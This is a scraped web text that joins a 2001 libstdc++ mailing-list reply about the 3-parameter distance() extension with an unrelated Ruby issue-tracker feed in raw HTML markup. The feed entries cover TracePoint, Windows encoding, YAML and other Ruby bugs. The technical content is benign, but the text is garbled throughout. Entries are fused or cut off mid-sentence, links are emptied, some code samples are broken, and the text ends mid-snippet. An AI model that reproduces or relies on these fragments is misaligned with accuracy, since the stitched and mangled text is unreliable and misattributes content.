class="n">i</span> <span class="o">+=</span> <span class="mi">1</span> <span class="k">end</span> <span class="k">end</span> </code></pre><pre><code class="ruby syntaxhl"><span class="o">-</span><span class="p">:</span><span class="mi">10</span><span class="ss">:in</span> <span class="sb">`block (2 levels) in <main>': undefined method `</span><span class="nb">chomp!</span><span class="s1">' for nil:NilClass (NoMethodError) from -:10:in `open'</span> <span class="n">from</span> <span class="o">-</span><span class="p">:</span><span class="mi">10</span><span class="ss">:in</span> <span class="sb">`block in <main>' from -:4:in `</span><span class="n">times</span><span class="s1">' from -:4:in `<main>'</span> </code></pre> - Bug #12852 (Open): URI.parse can't handle non-ascii URIs 2016-10-18T20:10:50Z olivierlacan (Olivier Lacan) hi@olivierlacan.com <p>Given a return URL path like: <code>/search?utf8=\u{2713}&q=foo</code>, <code>URI.parse</code> raises the following exception: </p> <pre><code class="ruby syntaxhl"><span class="no">URI</span><span class="p">.</span><span class="nf">parse</span> <span class="s2">"/search?utf8=</span><span class="se">\u</span><span class="s2">{2713}&q=foo"</span> <span class="no">URI</span><span class="o">::</span><span class="no">InvalidURIError</span><span class="p">:</span> <span class="no">URI</span> <span class="n">must</span> <span class="n">be</span> <span class="n">ascii</span> <span class="n">only</span> <span class="s2">"/search?utf8=</span><span class="se">\u</span><span class="s2">{2713}&q=foo"</span> </code></pre> <p>This <code>\u{2713}</code> character is commonly used by web frameworks like Rails to enforce UTF-8 in forms: <a href=""></a></p> <pre><code class="ruby syntaxhl"><span class="s2">"</span><span class="se">\u</span><span class="s2">{2713}"</span> <span class="o">=></span> <span class="s2">"✓"</span> </code></pre> <p>Is it unreasonable to expect non-ascii portion of URIs to be handled by URI.parse? The way to circumvent this issue is to call URI.encode on the URI string prior to passing it to URI.parse:</p> <pre><code class="ruby syntaxhl"><span class="no">URI</span><span class="p">.</span><span class="nf">parse</span> <span class="no">URI</span><span class="p">.</span><span class="nf">encode</span><span class="p">(</span><span class="s2">"/search?utf8=</span><span class="se">\u</span><span class="s2">{2713}&q=foo"</span><span class="p">)</span> <span class="o">=></span> <span class="c1">#<URI::Generic /search?utf8=%E2%9C%93&q=foo></span> </code></pre> <p>By comparison, a library like Addressable parses this URI without issue.</p> <pre>require "addressable/uri" => #<Addressable::URI:0x3feffa84158c URI:/search?utf8=✓&q=foo> </pre> <p>This is how Addressable implements parsing:<br> <a href=""></a></p> <p>PS: Tried under MRI 2.3.1 and 2.4.0-preview1</p> Ruby master - Feature #12650 (Open): Use UTF-8 encoding for ENV on Windows 2016-08-03T00:53:42Z davispuh (Dāvis Mosāns) <p>Windows environment variables supports Unicode (same wide WinAPI) and so there's no reason to limit ourselves to any codepage.<br> Currently ENV would use locale's encoding (console's codepage) which obviously won't work correctly for characters outside of those codepages.</p> <p>I've attached a patch which implements this and fixes bug <a class="issue tracker-1 status-1 priority-4 priority-default" title="Bug: ENV data yield ASCII-8BIT encoded strings under Windows with unicode username (Open)" href="">#9715</a><>def foo(arg) TypeError.assert(String, arg) # should raise in the foo frame if arg is not of type String ... end <>i = 0 while i<30_000_000 # benchmark loop 1 i += 1 end </pre> <p>The generated RTL insns for the benchmark are</p> <pre>==>def fib_m n if n < 1 1 else fib_m(n-1) * fib_m(n-2) end end fib_m(40) </pre> <p>The RTL code of fib_m looks like</p> <pre>==.< - Feature #12435 (Open): Using connect_nonblock to open TCP connections in Net::HTTP#... 2016-05-28T19:57:30Z mohamedhafez (Mohamed Hafez) <p>Hey all, I've got a pull request at <a href="">< - Bug #12261 (Open): Windows: File.dirname with 2+ / or 2+ \\ will return // or \\\\ 2016-04-07T19:30:56Z enebo (Thomas Enebo) tom.enebo@gmail.com <p>I am working through some File.dirname issues on JRuby and I saw a ruby/spec covering this behavior on windows:</p> <p><code>File.dirname('/////').should == '//'</code></p> <p>Same result if backslashes are used. Is there a reason for this result? It does not seem useful to me but I am not much of a windows user. I would think in this case it would be '/' since I don't see how this is useful for UNC paths in Ruby? If someone could explain it then I will document this at least in JRuby source code :)</p> <p>So far all versions of MRI seem to have this behavior.</p> Ruby master - Bug #12235 (Open): URI.encode issue with square brackets 2016-03-31T09:53:06Z lucaspiller (Luca Spiller) <p>URI::Encode doesn't correctly handle square brackets in the path of a URL:</p> <pre>> URI.encode('[1].doc') => "[1].doc" </pre> <p>It should return "<a href=""></a>".</p> <p>As per <a href="" class="external">RFC3986</a>, square brackets are only valid in the host part, not the path part.</p> <p>URI.parse correctly raises an error if a URL has square brackets in the path, which means URI::encode can return something that is rejected by URI.parse:</p> <pre>> URi.parse('[1].doc') URI::InvalidURIError: bad URI(is not URI?):[1].doc > URI.parse(URI::encode('[1].doc')) URI::InvalidURIError: bad URI(is not URI?):[1].doc </pre> <p>Tested on Ruby 2.1.5 and 2.3.0 on OS X and Linux.</p> -"><span class="c1">#!/usr/bin/ruby -w</span> <span class="nb">p</span><span class="o">=</span><span class="mi">1</span> </code></pre> <p>However, this one doesn't</p> <pre><code class="ruby syntaxhl"> the performance of refined method call. If there is a way to guarantee that blocks never be evaluated in different environments, refined methods can be cached inline.</li> <li>{instance,class,module}_exec cannot be extended in the same way, because they take arbitrary>abc = 'world!' abc[0,0] = 'Hello ' abc # => "Hello world!" </pre> <p>For Arrays we can do:</p> <pre>abc = ['world!'] abc[0,0] = 'Hello ' abc # => ["Hello ", "world!"] <">"># => {c: 3}</span> </code></pre> <p>What I propose is adding <code>Hash#update=</code> to permit updating during multiple assignment.</p> <pre><code class="ruby syntaxhl">>module UnboundMethod def to_proc return lambda do |obj,*args,&b| self.bind(obj).call(*args,&b) end end end </pre> <p>This would allow things like</p> <pre>module Foo def foo self+"foo" end end ["bar","baz"].map(&Foo.instance_method(:foo)) => ["barfoo", "bazfoo"] </pre> - Feature #10728 (Open): Warning for Fixnum#size to use RbConfig::SIZEOF['long'] 2015-01-10T11:42:23Z akr (Akira Tanaka) akr@fsij.org <p>How about add a warning for Fixnum#size ?</p> <pre>% ./ruby -e 'p 0.size' -e:1: warning: Use RbConfig::SIZEOF['long'] instead of Fixnum#size 8 </pre> <p>Currently it returns sizeof(long) which is 4 or 8.</p> <p>However it is implementation detail and<br> it may difficult to define it in Ruby implementations other than CRuby.</p> <p>There is a way to obtain sizeof(long): RbConfig::SIZEOF['long']<br> It works since Ruby 2.1.</p> <pre>% ruby -rrbconfig/sizeof -e "p RbConfig::SIZEOF['long']" 8 </pre> <p>So the warning is a migration path to use RbConfig::SIZEOF['long'].</p> <p>Note that this may affect many code. <br> So this issue may irritate many people.<br> fixnum-size-search.txt is a search result in gems.</p> Ruby master - Feature #10589 (Open): [TracePoint API] Make THREAD_{BEGIN, END} events return some... 2014-12-11T16:27:00Z deivid (David Rodríguez) <p>Currently the :thread_begin and thread_end events return no context information at all</p> <pre>TracePoint.trace(:thread_begin, :thread_end) do |tp| puts "#{tp.defined_class}::#{tp.method_id}@#{tp.path}:#{tp.lineno}" end t = Thread.new do sleep 1 end t.join </pre> <p>prints just</p> <pre>"Hi thread, ::@:0" "Bye thread, ::@:0" </pre> <p>It'd be nice if they gave at least some file:line context information about the thread.</p> <p>What do you think, <a class="user active"> CommonRuby -238 (Open): todo: remove dependency on malloc_usable_size 2014-09-14T00:16:28Z normalperson (Eric Wong) normalperson@yhbt.net <p>malloc_usable_size shows up at or near the top of many profiles for me.</p> <p>We should be able to use ruby_sized_xfree in more places; especially<br> if rb_data_type_t->dsize is defined.</p> <p>One possible improvement is to allow the rb_data_type_t->dsize pointer<br> to be a FIXNUM, removing the need for some memsize functions.</p> <p>Furthermore, over-accounting malloc-ed bytes (presumably the reason<br> malloc_usable_size was introduced). should be less harmful nowadays with<br> incremental marking.<> <p>:</p> Ruby master - Bug #9930 (Open): unicode filenames somehow don't work 2014-06-11T05:11:21Z rogerdpack (Roger Pack) rogerpack2005@gmail.com <p>Something seems amiss here--I can't seem to pass in a unicode filename and have it used for reading/opening a file:</p> <pre>' </pre> <p>(jruby too, fwiw...)</p> Ruby master - Feature #9909 (Open): why shouldn't constant lookup check the nesting of module's name 2014-06-06T14:43:18Z rits (First Last) <p>module A<br> module B<br> end<br> end</p> <p>above, B will have access to A's constants<br> but below, it won't</p> <p>module A::B<br> end</p> <p>is there a reason why the nesting of the name should not be part of the constant resolution algorithm?</p> <p>when adding or reopening (deeply) nested modules/classes the :: syntax would be preferable, but you lose constant resolution</p> Ruby master - Bug #9806 (Open): URI#encode doesn't encode characters '[' and ']'. They should be... 2014-05-06T01:29:36Z charlez (Charles Leu) charlez.leu@gmail.com <p>The subject says it all.</p> <p>IRB session demonstrating the problem:<br> charlez$ irb<br> head :001 > RUBY_VERSION<br> => "2.2.0"<br> head :002 > require 'uri'<br> => true<br> head :003 > my_str = '[ futsal club ]'<br> => "[ futsal club ]"<br> head :004 > URI.encode(my_str)<br> => "[%20futsal%20club%20]"<br> head :005 ></p> <p>Note: Testing using JavaScript function encodeURI('[ futsal club ]') produces "%5B%20futsal%20club%20%5D" which is the correct result.<> CommonRuby ->f = {\ x => x*x } f[1] # => 1 f[2] # => 4 <|<br> #<br> end; else<br> #<br> end</p> Ruby master - Bug #9009 (Open): Wrong binding when tracing c-calls 2013-10-10T03:21:14Z yekka (Nikolay Bozhenov) Nikolay.Bozhenov@gmail.com <p>When I use set_trace_func to trace ruby code, I get a wrong binding in<br> case of c-calls. In this case binding.eval("self") is not the receiver<br> of the call. Whereas in case of ruby-calls binding.eval("self") yields<br> the receiver of the call.<br> The underlying problem is that c-calls aren't pushed onto the frame stack.<br> It seems that currently there is no way to find out the receiver of c-call<br> inside tracing function.</p> <p>Example of code:</p> <p>$ cat test.rb<br> class IO<br> def some_method<br> end<br> end</p> <p>puts "true receiver is #{$stdout}\n\n"</p> <p>set_trace_func proc { |event, file, line, id, binding, classname|<br> if event == "call" or event == "c-call"<br> puts "#{event} #{id}:"<br> puts "\tapparent receiver = #{binding.eval("self")}"<br> puts "\tbacktrace:"<br> caller.each { |l| puts "\t\t#{l}" }<br> puts<br> end<br> }</p> <p>$stdout.write "" # c-call<br> $stdout.some_method # ruby-call</p> <p>Execution:</p> <p>$ ruby test.rb <br> true receiver is #<a href="IO:0x00000000bed2a0">IO:0x00000000bed2a0</a></p> <p>c-call write:<br> apparent receiver = main<br> backtrace:<br> test.rb:18:in `'</p> <p>call some_method:<br> apparent receiver = #<a href="IO:0x00000000bed2a0">IO:0x00000000bed2a0</a><br> backtrace:<br> test.rb:2:in <code>some_method'<br> test.rb:19:in</code>'</p> <p>Expected result: </p> <p>true receiver is #<a href="IO:0x00000000bed2a0">IO:0x00000000bed2a0</a></p> <p>c-call write:<br> apparent receiver = #<a href="IO:0x00000000bed2a0">IO:0x00000000bed2a0</a><br> backtrace:<br> somewhere:in <code>write'<br> test.rb:18:in</code>'</p> <p>call some_method:<br> apparent receiver = #<a href="IO:0x00000000bed2a0">IO:0x00000000bed2a0</a><br> backtrace:<br> test.rb:2:in <code>some_method'<br> test.rb:19:in</code>'<> CommonRuby - Feature #8272 (Open): Transfer feature tracking to CommonRuby 2013-04-16T05:45:34Z headius (Charles Nutter) headius@headius.com <p>If my proposal in <a class="issue tracker-2 status-2 priority-4 priority-default parent #7788 (Open): YAML Tag Schema Support 2013-02-06T05:05:55Z trans (Thomas Sawyer) <p>=begin<br> I have endeavoured to add proper Schema support to Psych (see (()) on Schemas). The primary reasons for supporting schemas are two fold: security and global tag conflict. The first is well known b/c of recent events. The second is less realized, but consider is it same problem as using global variables. Different apps have different tags; two identical local tags may have different meanings and thus cause conflict.</p> <p>The API works like this:</p> <pre>class Foo end foo_schema = YAML::Schema.new do |s| s.tag '!foo', Foo end YAML.load('foo.yml', :schema=>foo_schema) </pre> <p>This code would allow only failsafe and json schema tags (core defaults), plus the specifically defined !foo tag.<br> Also, %TAG prefix is supported:</p> <pre>foo_schema = YAML::Schema.new(:prefix=>{'!'=>'tag:foo.org/'}) do |s| s.tag '!foo', Foo end <>LEGACY_SCHEMA = CORE_SCHEMA + RUBY_SCHEMA + OBJECT_SCHEMA + SYCK_SCHEMA <=""></a><br> =end</p> | https://bugs.ruby-lang.org/issues.atom?per_page=200&sort=status%2Csubject%3Adesc%2Cproject | CC-MAIN-2020-45 | refinedweb | 7,958 | 50.53 |
I am an Electronic Engineer. Previously, I have an experience of using Visual C++ 6.0(Visual studio). Again I wanted to develop a new project for serial printing application from a processor. By the way, i have gone through web and decide to use Visual C++.Net 2008 for this application. By using MSDN, I have created a WINDOWS FORM Application(unless MFC Application) GUI. But now it feels, all the codes are unfamiliar to me(in which I have used in older version). especially afxMessageBox,CString,CStringList, fstream etc. are not working
And MSDN examples also some what feels difficult . Here nobody else having previous experince on using dotnet.
Plz give me some guidelines that. whether this problem is bcoz of any missing namespace? Or the codes are of different stream than VC++6.0 MFC Application?
I need a simple GUI of only one Dialog Box Which having some text Boxes,List Box, Buttons etc. should I prefer it, for theMFC Application in dot net or the Windows form(which i had choosed already)?
You | http://forums.codeguru.com/showthread.php?482662-VC-.Net-2008-confusing-me&mode=hybrid | CC-MAIN-2017-17 | refinedweb | 178 | 60.92 |
How do I resolve the "java.lang.OutOfMemoryError: GC overhead limit exceeded" exception in Amazon EMR?
Last updated: 2019-10-10
The NameNode service in Amazon EMR fails with the following exception: "java.lang.OutOfMemoryError: GC overhead limit exceeded."
Short Description
The NameNode service uses memory to store namespace objects and metadata for files stored in HDFS. The more files that you have in HDFS, the more memory that NameNode uses. The "java.lang.OutOfMemoryError: GC overhead limit exceeded" error indicates that the NameNode heap size is insufficient for the amount of HDFS data in the cluster. Increase the heap size to prevent out-of-memory exceptions.
Resolution
Check the logs to confirm the error
1. Connect to the master node using SSH.
2. Run the following command on the master node to check the status of the NameNode service:
initctl list
The following output indicates that the NameNode service has stopped:
hadoop-hdfs-namenode stop/waiting
3. Check the NameNode log at the following path to confirm the OutofMemory exception: /var/log/hadoop-hdfs/hadoop-hdfs-namenode-ip-xxxx.out. Replace xxxx with the private IP address of the master node (for example: /var/log/hadoop-hdfs/hadoop-hdfs-namenode-ip-10-0-1-109.out).
An output like this confirms that the NameNode service failed because of an OutOfMemory exception:
# java.lang.OutOfMemoryError: GC overhead limit exceeded # -XX:OnOutOfMemoryError="kill -9 %p kill -9 %p
Increase the NameNode Heap size
Important: This configuration change requires a restart of the NameNode service. Be sure that no HDFS read or write operations are performed while you're making the change.
For Amazon EMR release versions 5.21.0 and later:
To increase the heap size, supply a hadoop-env configuration object for the instance group on a running cluster. Or, add the configuration object when you launch a new cluster. The following configuration object increases the heap size from 1 GB to 2 GB. Choose a size that's appropriate for your workload.
[ { "Classification": "hadoop-env", "Properties": { }, "Configurations": [ { "Classification": "export", "Properties": { "HADOOP_NAMENODE_HEAPSIZE": "2048" }, "Configurations": [ ] } ] } ]
Amazon EMR applies your new configurations and gracefully restarts the NameNode process.
For Amazon EMR release versions 5.20.0 and earlier:
1. Connect to the master node using SSH.
2. In the /etc/hadoop/conf/hadoop-env.sh file, increase the NameNode heap size. Choose a size that's appropriate for your workload. Example:
export HADOOP_NAMENODE_HEAPSIZE=2048
3. Save your changes.
4. Restart the NameNode service:
sudo stop hadoop-hdfs-namenode sudo start hadoop-hdfs-namenode
5. Confirm that the NameNode process is running:
initctl list
A successful output looks like this:
hadoop-hdfs-namenode start/running, process 6324
6. Confirm that HDFS commands are working:
hdfs dfs -ls /
A successful output looks like this:
Found 4 items drwxr-xr-x - hdfs hadoop 0 2019-09-26 14:02 /apps drwxrwxrwt - hdfs hadoop 0 2019-09-26 14:03 /tmp drwxr-xr-x - hdfs hadoop 0 2019-09-26 14:02 /user drwxr-xr-x - hdfs hadoop 0 2019-09-26 14:02 /var
Related Information
Did this article help you?
Anything we could improve?
Need more help? | https://aws.amazon.com/es/premiumsupport/knowledge-center/emr-outofmemory-gc-overhead-limit-error/ | CC-MAIN-2021-10 | refinedweb | 523 | 50.12 |
07 November 2012 13:30 [Source: ICIS news]
SINGAPORE (ICIS)--Crude futures softened on Wednesday, falling by more than $1/bbl, amid renewed economic worries following the results of the ?xml:namespace>
At 10:58 GMT, December Brent crude on
December NYMEX light sweet crude futures (WTI) were trading at $87.40/bbl, down by $1.31/bbl from the previous close. Earlier, the
Following the re-election of US President Barack Obama attention switched back to the problems facing the
These issues include a highly contentious
Meanwhile, attention was also focused on the Eurozone and debt laden
The budget measures need to be approved in order. | http://www.icis.com/Articles/2012/11/07/9611970/crude-futures-fall-on-renewed-economic-worries-after-us-elections.html | CC-MAIN-2013-20 | refinedweb | 107 | 51.78 |
Celsius API SDK for Python
Project description
Celsius SDK API Starter Kit for Python
So you want to pull data from your Celsius account via an API? And you prefer Python over Javascript? This library has got your back and will get you setup in no time.
There are four basic functionalities that the API can do.
- Get Balances
- Get Total Interest Earned
- Get Statistics
- Get All Transactions (Deposits, Withdraws & Interest)
Let's break these down.
Preheat
- First thing you need to do is generate an API key from the app. View instructions here
- Second thing you need to do is email partners@celsius.network requesting a
read only partner key.Make sure that you send this email from your verified Celsius email address (the one you used to create your account)
Installation
Make a directory and start a virtual env for Python:
$ cd workspace $ python3 -m venv env $ . env/activate/bin $ pip install celsius-python-sdk
If you prefer to install from source, you can do so by:
$ git clone $ cd python/celsius-python-sdk/ $ python3 setup.py install
You're ready to start fetching data!
Prerequisite
Start by creating a JSON file for your API and Partner Key in the following format in order to access the functions in the next section.
Format:
{ "X-Cel-Partner-Token": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx", "X-Cel-Api-Key" : "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx" }
Both keys should have the layout as
xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx (layout subject to change)
Fetching the Data!
To use the functions under the library you need to import it. You can do so easily by using this:
import pyCelsius as CEL
Every function below returns a JSON.
readCreds()
This function reads your credentials from the JSON file you created in the previous step, just provide the /path/to/creds.json to the function and you're good to go!
userCreds = CEL.readCreds("path/to/creds.json")
getBalance()
This function returns you balances per coin.
CEL.getBalance(userCreds)
Return layout
{ balance: { eth: '0', btc: '0', dash: '0', bch: '0', ltc: '0', zec: '0', btg: '0', xrp: '0', xlm: '0', omg: '0', tusd: '0', gusd: '0', pax: '0', usdc: '0', dai: '0', mcdai: '0', cel: '0', zrx: '0', orbs: '0', 'usdt erc20': '0', tgbp: '0', taud: '0', thkd: '0', tcad: '0', eos: '0', sga: '0', xaut: '0' } }
Interest
This function returns how much interest you have earned over the course of your account per coin.
CEL.getInterest(userCreds)
Return layout
{ interest: { CEL: { amount: 0, amount_usd: 0, amount_cel: 0 }, ETH: { amount: 0, amount_usd: 0, amount_cel: 0 }, ...
Statistics
This function returns unique statistics about your account.
CEL.getStats(userCreds)
Return Layout
{ deposit_count: '0', deposit_amount: { total_amount_usd: '0', BTC: { amount: '0', amount_usd: 0 }, CEL: { amount: '0', amount_usd: 0 }, ETH: { amount: '0', amount_usd: 0 }, XLM: { amount: '0', amount_usd: 0 }, XRP: { amount: '0', amount_usd: 0 } }, withdrawal_count: '0', withdrawal_amount: { total_amount_usd: '-0', CEL: { amount: '-0', amount_usd: -0 }, ETH: { amount: '-0', amount_usd: -0 }, LTC: { amount: '-0', amount_usd: -0 } }, interest_count: '0', interest_amount: { total_amount_usd: '0', CEL: { amount: '0', amount_usd: 0 }, ETH: { amount: '0', amount_usd: 0 }, LTC: { amount: '0', amount_usd: 0 }, XLM: { amount: '0', amount_usd: 0 }, XRP: { amount: '0', amount_usd: 0 } } }
Pagination
This function returns pagination of every transaction that has happened on your account.
pagination = { 'page': 1, 'perPage': 1 } CEL.getTransactions(userCreds, pagination)
Return Layout
{ pagination: { total: 0, pages: 0, current: 1, per_page: 0, showing: '1 - 20' }, record: [ { amount: '0', amount_usd: 0, coin: 'CEL', state: 'confirmed', nature: 'interest', time: '2020-06-05T05:00:01.000Z', tx_id: null }, ...
Ending Notes
The API is pretty limited to what can be done, however this allows you to read pretty much all activities that have happened on your account.
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages. | https://pypi.org/project/celsius-python-sdk/ | CC-MAIN-2021-31 | refinedweb | 636 | 58.82 |
I create a code on swift 2, this is the code:
... var data = [] var filtered = [] ... func myFunc(text: String) { let resultPredicate = NSPredicate(format: "name_friend contains[c] %@", text) self.filtered = self.data.filteredArrayUsingPredicate(resultPredicate) ... }
I rewrite on swift 3, this is the code:
... var data:[[String:Any]] = [] var filtered:[[String:Any]] = [] ... func myFunc(text: String) { let resultPredicate = NSPredicate(format: "name_friend contains[c] %@", text) self.filtered = self.data.filtered(using: resultPredicate) ... }
But on swift 3 code I receive this message error on self.data.filtered:
Value of type [[String:Any]] has no member 'filtered'
So if the array [[String:Any]] dont have'filtered', whats the way to use the similiar type?
Re: NSArray filtered typegoldsdad Oct 24, 2016 10:57 PM (in response to Alexandre Carmo)
NSArray has filtered(using:) method, but your Swift 3 code is explicitly declaring data to be a Swift Array, which has a filter(_:) method (and that takes a closure, not a NSPredicate, so see API reference for Array).
Re: NSArray filtered typeahltorp Oct 25, 2016 1:36 AM (in response to Alexandre Carmo)
If you still want to use NSPredicate, you will have to cast it to NSArray and cast the result back again.
self.filtered = (self.data as NSArray).filtered(using: resultPredicate) as! [[String:Any]]
If you are using this in many places, you could extend Array to have the .filtered(predicate:) method:
extension Array { func filtered(using predicate: NSPredicate) -> Array { return (self as NSArray).filtered(using: predicate) as! Array } }
If you have no particular reason to use NSPredicate, you are probably better off using .filter(_:) as goldsdad suggested.
Re: NSArray filtered typeeskimo Oct 25, 2016 4:13 AM (in response to ahltorp)
If you have no particular reason to use NSPredicate, you are probably better off using
.filter(_:)as goldsdad suggested.
Agreed. For example:
filtered = data.filter { element in return (element["name_friend"] as? String)?.range(of: text, options: [.caseInsensitive]) != nil }
ps This code would be a lot nicer if you replaced the elements of the array with a model object rather than a dictionary. Most of the goo in the snippet above is related to extracting the
name_friend‘field’ from the dictionary. If this were a struct, the code would be much simpler:
filtered = data.filter { element in return element.nameFriend.range(of: text, options: [.caseInsensitive]) != nil }
Share and Enjoy
—
Quinn “The Eskimo!”
Apple Developer Relations, Developer Technical Support, Core OS/Hardware
let myEmail = "eskimo" + "1" + "@apple.com" | https://forums.developer.apple.com/message/191221 | CC-MAIN-2019-04 | refinedweb | 407 | 50.53 |
*
»
Tomcat
Author
any experience out there with mod_proxy_html or other uri modification methods?
Derek Murphy
Greenhorn
Joined: Mar 26, 2010
Posts: 25
posted
Sep 22, 2010 10:46:12
0
Hi again,
Feel like a regular now
I need to change my URLs on the fly and insert a
string
into them. Reason being is I have an application that is poorly designed and I need to configure my load balancer to send traffic to the appserver(
tomcat
) using a single string /blah/
original url -> one time rewrite to old(should be new) url below.
so... old url =*
new url =*
I've heard mod_proxy_html can do this for me but I have been banging my head for hours trying to get it to work.
Essentially I need the URL for the user to always be* but once it leaves the load balancer, apache needs to strip out the /blah/ for the application to function properly. Once apache is ready to return data to the end user, it needs to add /blah/ back into the URI so the user (and load balancer) always think they are on*
The /web/ piece actually can vary too. It can be /web/ or /group/
This is proving to be quite a difficult task and I'm starting to lose my hair...
Any help, most appreciated!!!
Derek Murphy
Greenhorn
Joined: Mar 26, 2010
Posts: 25
posted
Sep 22, 2010 11:06:16
0
now that I think about it a bit more, I don't think that even mod_proxy_html will help out in this particular case.
The big issue that I face isn't necessarily with the url's the end user sees... but rather the way things are linked within the application. There's a lot of root/relative linking.. so I have things like src=customapp1/images/something.jpg and src=customapp2/images/something2.png and src=customapp3/js/somefunction.js
anyways... on and on we go, for about 60 custom apps, as well as other root level references.
The real solution is to deploy it outside of a context root so I can change the app to be... but the application doesn't support it.. due to the way things are linked...
so essentially, what I really need is something that can modify all of the html that gets passed through the browser/server and have all links(relative and hardcoded) to get some sort of constant prefixed in there.
My gut feeling is that, it's impossible, and I'm going to have to setup a subhost (app.domain.com) instead of being able to use our single namespace for authentication etc...
I'm starting to feel pressure, so all geniuses come out of the woodwork
Cheers.
Tim Holloway
Saloon Keeper
Joined: Jun 25, 2001
Posts: 15624
15
I like...
posted
Sep 23, 2010 06:31:51
0
Sounds more like a job for mod_rewrite.
You make it sound like there's probably going to be dozens of rewrite rules required. Hopefully not, though. Usually - but not always - relative URLs can be more flexible than absolute URLs.
Customer surveys are for companies who didn't pay proper attention to begin with.
Derek Murphy
Greenhorn
Joined: Mar 26, 2010
Posts: 25
posted
Sep 23, 2010 06:39:09
0
well actually wouldn't mod_rewrite not be able to help in that case? Mod_rewrite is only for url manipulation, not for internal code path manipulation I thought?
I looked into mod_proxy_html further... and it appears that it can do what I want it to do... I just don't know how to use it
the things that need changing are the actual html tags in the code.. so src=/customapp1/images/image.png needs to be changed(in the code) to reflect src-/insertedstring/customapp1/images/image.png
but only for the end user to see. It will be stripped back out once the request goes back to the application so it functions properly.
I threw in the towel yesterday and now I'm going to take the approach of a new namespace.
So, instead of, I'm just creating app1.domain.com and writing a load balancer rule that says if host = app1.domain.com then send everything to appservers.
Not ideal... but at least it'll save my hair from all falling out
Tim Holloway
Saloon Keeper
Joined: Jun 25, 2001
Posts: 15624
15
I like...
posted
Sep 23, 2010 07:13:01
0
Well it's too late to save my hair (which is why my ranch photo has me wearing a hat to prevent camera glare
).
But I'm running sites that combine mod_proxy with mod_rewrite to do stuff like that. The outgoing URLs might be a bit sticky, though. If you want them bookmarkable under abstract URLs, you may have to format them when you generate the pages.
Derek Murphy
Greenhorn
Joined: Mar 26, 2010
Posts: 25
posted
Sep 23, 2010 08:46:01
0
Interesting...
See... I honestly believe it's possible to do what I'm trying to do. I just don't know how all the pieces work together/should be configured
I'm not concerned with things being bookmarkable. These are all for POC environments so end users never bookmark anything except a main url.
Once I actually get it rolled out I think I'm going to revisit this. I KNOW it can be done and it's going to irk me forever if I can't get it working how I originally intended.
Thanks very much for the help!
I agree. Here's the link:
subject: any experience out there with mod_proxy_html or other uri modification methods?
Similar Threads
use a virtualhost with a uri?
semi complex httpd -> tomcat proxy setup issues
How to control redirection: http, https, and trailing slashes
Tomcat & Memory
how to make html files within a folder accessible only through jsp
All times are in JavaRanch time: GMT-6 in summer, GMT-7 in winter
JForum
|
Paul Wheaton | http://www.coderanch.com/t/511155/Tomcat/experience-mod-proxy-html-uri | CC-MAIN-2014-15 | refinedweb | 999 | 71.65 |
Android App Development Certification Trainin ...
- 56k Enrolled Learners
- Weekend
- Live Class
In our last post we discussed the most common interview questions a beginner can expect while appearing for an Android developer interview. This Android for beginners tutorial covers the responses to those questions. These questions and their answers have been strictly curated under the supervision and guidance of Android Certification experts, who are also working professionals with years of experience in development, training and recruitment. Having read the last post, you now have an idea of the interviewer’s expectations from you, both technically and behaviorally. So, you can prepare accordingly!
I) What are the components of Android?
You’ll get a walk-through of the entire process using examples, in Edureka’s Android for beginners training.
II) Some C programming Question for you
1) How can you print “hello world” without using semicolon (;)?
Think about it a little before looking at the solution.
Solution
This question can be solved in more than one way:
a)
#include<stdio.h> void main() { if(printf("Hello World")) { } }
b)
{ while(printf("Hello World")){} }
c)
{ do{} while(printf("Hello World")){} }
Sometimes, multiple choice programming questions can be asked in Android for beginners interviews. Check this one out for instance:
2) What will be output of following C code?
#include<stdio.h> int main() { int *a1; char **a2; float ***a3; double ****a4; printf("%d %d %d %d ",sizeof(a1),sizeof(a2),sizeof(a3),sizeof(a4)); return 0; } Options
a) 1 2 4 8
b) 2 4 4 8
c) 2 4 2 4
d) 2 2 2 2
Answer: d.
Size of pointer is same no matter what type it is (2 byte)
Note – This is assuming that we are on a 32 bit machine. On 64 bit it will be 4 bytes.
III) Java Coding Question
1) Can you write a java code to swap two numbers?
Solution
public class Swap { public static void main(String[ ] args) { int x = 5; int y = 6; //store 'x' in a temp variable int temp = x; x = y; y = temp; System.out.println("x=" + x+ "y=" + y); } }
2) Write Java code to swap two numbers without using a third variable i.e. temp in the above case.
Tough..??
Not really; in fact you know it already :)
Solution
public class Swap { public static void main(String[ ] args) { int x = 5; int y = 6; //Add both the variables and store them in x i.e x = 11 (x=5 + y=6). x = x + y; //Now subtract y from x and store in y i.e y = 5 (x=11 - y=8) . Hence initial value of x is assigned to y. y = x - y; //Now subtract y from x and store in x i.e x = 6 (x=11 - y=5) . Hence initial value of y is assigned to x. x = x - y; // Both the values are swapped successfully without using the third variable System.out.println("x=" + x+ "y=" + y); } }
Candidates with advanced knowledge would be expected to answer questions much difficult than these. This post however deals with Android for beginners basics, so we’ll
handle interview questions for an experienced Android developer in later posts! Stay tuned.
Happy Learning!
Got a question for us? Please mention it in the comments section and we will get back to you.
Related Posts:
Top 5 Android Interview Questions for freshers
Android Tutorials for Beginners: Activity component
Android Project : Droid Remote
Android Project : BlackJack Game
The Beginner’s Guide to Android: Android Architecture | https://www.edureka.co/blog/interview-questions/android-interview-questions-answers-for-beginners/ | CC-MAIN-2019-39 | refinedweb | 582 | 63.8 |
I’ve been trying to get a clear picture of the data flows in React-Redux, and I thought I’d share that mental flowering. I’m still quite new with React-Redux so I’d suggest reading it with a note of caution but knowing that the end result was working software.
Redux
In Redux itself the data flow seems relatively straight-forward:
1. When something happens we dispatch an action to the store i.e.
store.dispatch({ type: "TYPE_KEY", ... }).
2. Redux then calls the reducer which returns a new state back to Redux.
3. Functions that were previously registered using
store.subscribe(fn) are called and those functions call
store.getState() to get the new state.
This seems like a fairly classic observer pattern around an event-store.
If I were translating this to React then I’d expect that within my component I’d register a listener against the store that would call
this.setState({ ... }). Then
setState() would trigger the framework to re-render that component. The problem with this plan and react-redux is
subscribe() is nowhere to be seen. Nor for that matter is
store – so where did they go?
The answer is in the
connect() method.
Connect()
When
connect() is called on a component used inside a
<Provider> tag,
connect() automatically picks up the Provider’s store. This store is configured at the highest level of the application, something like this:
